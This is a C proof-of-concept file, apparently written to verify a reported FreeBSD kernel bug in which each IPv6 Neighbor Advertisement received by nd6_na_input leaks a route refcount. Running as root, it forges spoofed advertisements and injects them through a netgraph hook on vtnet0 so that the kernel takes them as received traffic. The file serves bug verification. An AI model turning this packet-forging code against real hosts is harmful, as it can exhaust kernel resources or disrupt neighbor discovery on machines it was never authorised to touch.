DF-0489 / poc_df0489_ng.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-0489 PoC - NA refcount leak tester via netgraph RX injection. * * The finding claims nd6_na_input leaks one route refcount per received NA. * We inject NAs via netgraph ng_ether (packets written to vtnet0:lower appear * as wire RX input) and watch the route "Refs" column (netstat -rn -W). * * Requires: kldload ng_ether ng_socket (root, kernel-path verification) * * Build: cc -o poc_df0489_ng poc_df0489_ng.c * Run: ./poc_df0489_ng <count> (default 1000) */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/ether/ng_ether.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <string.h> #ifndef NGIOCSETNAME #define NGIOCSETNAME _IOW('N', 41, struct ngm_name) #endif #define IFNAME "vtnet0" static unsigned char guest_mac[6] = {0x52,0x54,0x00,0x12,0x34,0x56}; static unsigned char fake_mac[6] = {0xde,0xad,0xbe,0xef,0x00,0x01}; struct eth_hdr { unsigned char dst[6], src[6]; unsigned short type; } __attribute__((packed)); static uint32_t cksum32(const void *p, int len, uint32_t sum) { const uint16_t *w = p; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const uint8_t*)w; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return sum; } static uint16_t icmp6_cksum(struct in6_addr *s, struct in6_addr *d, void *ic, int l) { struct { struct in6_addr s,d; uint32_t len; uint8_t z[3],n; } __attribute__((packed)) ph; ph.s=*s; ph.d=*d; ph.len=htonl(l); ph.z[0]=ph.z[1]=ph.z[2]=0; ph.n=IPPROTO_ICMPV6; return (uint16_t)~cksum32(ic, l, ~cksum32(&ph, sizeof(ph), 0) & 0xffff); } int main(int argc, char **argv) { int count = (argc>1)?atoi(argv[1]):1000; int cfd, dfd, rc; char mynode[NG_NODESIZ]; cfd = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cfd < 0) { perror("ctl socket"); return 2; } dfd = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA); if (dfd < 0) { perror("data socket"); return 2; } /* Name my data socket node via NGIOCSETNAME ioctl */ struct ngm_name nm; memset(&nm, 0, sizeof(nm)); strncpy(nm.name, "nainj", NG_NODESIZ-1); if (ioctl(dfd, NGIOCSETNAME, &nm) < 0) { /* try control socket */ if (ioctl(cfd, NGIOCSETNAME, &nm) < 0) { perror("NGIOCSETNAME"); fprintf(stderr, "(continuing; will connect via node id)\n"); } } printf("data socket fd=%d\n", dfd); /* Connect nainj: -> vtnet0:lower using ngctl (simplest) */ char cmd[256]; snprintf(cmd, sizeof(cmd), "ngctl connect nainj: vtnet0: lower lower 2>&1"); rc = system(cmd); printf("connect rc=%d\n", rc); snprintf(cmd, sizeof(cmd), "ngctl show nainj: 2>&1"); system(cmd); /* Build fake target addr from fake_mac EUI-64 */ struct in6_addr fake_tgt; memset(&fake_tgt, 0, sizeof(fake_tgt)); fake_tgt.s6_addr[0]=0xfe; fake_tgt.s6_addr[1]=0x80; fake_tgt.s6_addr[8]=fake_mac[0]^0x02; fake_tgt.s6_addr[9]=fake_mac[1]; fake_tgt.s6_addr[10]=fake_mac[2]; fake_tgt.s6_addr[11]=0xff; fake_tgt.s6_addr[12]=0xfe; fake_tgt.s6_addr[13]=fake_mac[3]; fake_tgt.s6_addr[14]=fake_mac[4]; fake_tgt.s6_addr[15]=fake_mac[5]; /* dst = guest link-local */ struct in6_addr gdst; memset(&gdst,0,sizeof(gdst)); gdst.s6_addr[0]=0xfe; gdst.s6_addr[1]=0x80; gdst.s6_addr[8]=0x52^0x02; gdst.s6_addr[9]=0x54; gdst.s6_addr[10]=0x00; gdst.s6_addr[11]=0xff; gdst.s6_addr[12]=0xfe; gdst.s6_addr[13]=0x12; gdst.s6_addr[14]=0x34; gdst.s6_addr[15]=0x56; printf("Injecting %d NAs via ng_ether lower hook (appears as RX input)\n", count); int ok=0; for (int i=0;i<count;i++){ unsigned char buf[256]; memset(buf,0,sizeof(buf)); struct eth_hdr *eh=(struct eth_hdr*)buf; struct ip6_hdr *ip6=(struct ip6_hdr*)(eh+1); struct nd_neighbor_advert *na=(struct nd_neighbor_advert*)((char*)ip6+sizeof(*ip6)); memcpy(eh->dst,guest_mac,6); memcpy(eh->src,fake_mac,6); eh->type=htons(0x86dd); ip6->ip6_vfc=0x60; ip6->ip6_hlim=255; ip6->ip6_nxt=IPPROTO_ICMPV6; ip6->ip6_plen=htons(sizeof(*na)); ip6->ip6_src=fake_tgt; ip6->ip6_dst=gdst; na->nd_na_type=ND_NEIGHBOR_ADVERT; na->nd_na_code=0; na->nd_na_flags_reserved=ND_NA_FLAG_SOLICITED|ND_NA_FLAG_OVERRIDE; na->nd_na_target=fake_tgt; int icmplen=sizeof(*na); na->nd_na_cksum=0; na->nd_na_cksum=icmp6_cksum(&ip6->ip6_src,&ip6->ip6_dst,na,icmplen); int total=sizeof(*eh)+sizeof(*ip6)+icmplen; ssize_t w=write(dfd,buf,total); if(w>0)ok++; if(i==0||i==count-1) printf(" NA %d: wrote %zd\n",i,w); } printf("Injected %d/%d NAs.\n",ok,count); close(dfd); close(cfd); return 0; } |